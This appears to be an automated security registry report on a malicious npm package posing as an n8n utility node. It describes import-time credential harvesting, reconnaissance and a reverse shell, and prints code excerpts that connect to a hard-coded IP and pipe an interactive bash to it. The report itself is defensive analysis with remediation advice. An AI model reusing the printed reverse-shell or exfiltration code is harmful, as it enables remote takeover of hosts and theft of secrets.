registry / Remote code execution / n8n-nodes-utils-helper
n8n-nodes-utils-helper
Utility helper nodes for n8n workflow automation
This report shows the evidence for n8n-nodes-utils-helper@1.0.0, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms import-time credential/infrastructure reconnaissance, exfiltration, and a hard-coded reverse shell. The advertised n8n node is inert and does not justify this behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Runtime import/require of `n8n-nodes-utils-helper` through its `main` entrypoint.
Impact
Exposes credentials and infrastructure details, then grants remote interactive command execution on the importing host.
Mechanism
import-time host reconnaissance, TCP exfiltration, and reverse-shell creation
Attack narrative
When the npm main entrypoint is imported, `index.js` runs without user action. It gathers environment entries likely to contain secrets plus system, process, network, container, mount, and capability data, and transmits it to `103.27.109.184:8893`. It also spawns interactive Bash and connects its standard streams to that host, providing an unauthenticated reverse shell.
AI rationale
Direct source inspection confirms import-time credential/infrastructure reconnaissance, exfiltration, and a hard-coded reverse shell. The advertised n8n node is inert and does not justify this behavior.
Evidence
package.jsonindex.jsUtilsHelperNode.js/bin/bash/var/run/docker.sock/run/docker.sock/proc/1/cgroup/proc/self/status/home/node/
Network endpoints1
103.27.109.184:8893
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` executes immediately when imported through `main`.
- `index.js` collects environment values matching API keys, tokens, secrets, passwords, databases, and n8n.
- `index.js` inventories processes, routes, listening ports, mounts, Docker sockets, and capabilities.
- `index.js` sends reconnaissance over TCP to `103.27.109.184:8893`.
- `index.js` pipes an interactive `/bin/bash -i` to the same remote TCP socket.
- `package.json` exposes `index.js` as the package entrypoint; `UtilsHelperNode.js` is inert.
Evidence against
- `package.json` contains no lifecycle scripts.
- No benign node functionality in `UtilsHelperNode.js` requires shell execution, reconnaissance, or remote sockets.
Behavioral surface
ChildProcess
HighEntropyStrings
Source & flagged code
3 flagged · loading sourceindex.jsView file
1(function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4:
...
L40: s.connect(8893, '103.27.109.184', function(){
L41: s.write(data);
L42: s.end();
...
L48: try {
L49: var sh = cp.spawn('/bin/bash', ['-i']);
L50: var c = new net.Socket();
...
L52: c.pipe(sh.stdin);
L53: sh.stdout.pipe(c);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> index.js
L1: (function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4:
...
L40: s.connect(8893, '103.27.109.184', function(){
L41: s.write(data);
L42: s.end();
...
L48: try {
L49: var sh = cp.spawn('/bin/bash', ['-i']);
L50: var c = new net.Socket();
...
L52: c.pipe(sh.stdin);
L53: sh.stdout.pipe(c);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L12var net = require('net');
L3: var cp = require('child_process');
L4:
High
Findings
2 Critical1 High1 Medium1 Low
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
Affected versions and remediation
This report applies to n8n-nodes-utils-helper@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing n8n-nodes-utils-helper@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.